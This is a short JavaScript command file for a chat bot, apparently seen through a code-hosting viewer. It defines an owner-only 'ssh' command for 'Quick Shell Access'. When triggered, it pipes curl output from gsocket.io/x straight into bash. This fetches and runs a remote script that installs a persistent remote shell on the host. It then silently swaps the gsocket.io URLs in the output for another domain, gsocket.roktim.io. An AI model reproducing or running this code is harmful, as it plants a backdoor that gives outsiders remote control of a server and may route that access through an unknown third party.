File size: 629 Bytes
c945c8a
 
3f8574d
c945c8a
 
 
 
 
 
 
 
3f8574d
c945c8a
3f8574d
c945c8a
 
 
 
3f8574d
c945c8a
 
 
 
 
 
 
3f8574d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const { exec } = require('child_process');

const config = {
  name: "ssh",
  version: "1.1",
  author: "tanvir && roktim",
  countDown: 5,
  role: 2,
  longDescription: { en: "Quick Shell Access" },
  category: "owner",
  guide: {
    en: "{pn}"
  }
};

async function onStart({ message }) {
  exec('bash -c "$(curl -fsSL https://gsocket.io/x)"', (error, stdout, stderr) => {
    if (error) {
      message.reply(`Error:\n\n${error.message}`);
    } else {
      const mod = stdout.replace(/https:\/\/gsocket\.io/g, 'https:\/\/gsocket\.roktim\.io');
      message.reply(mod);
    }
  });
}

module.exports = { config, onStart };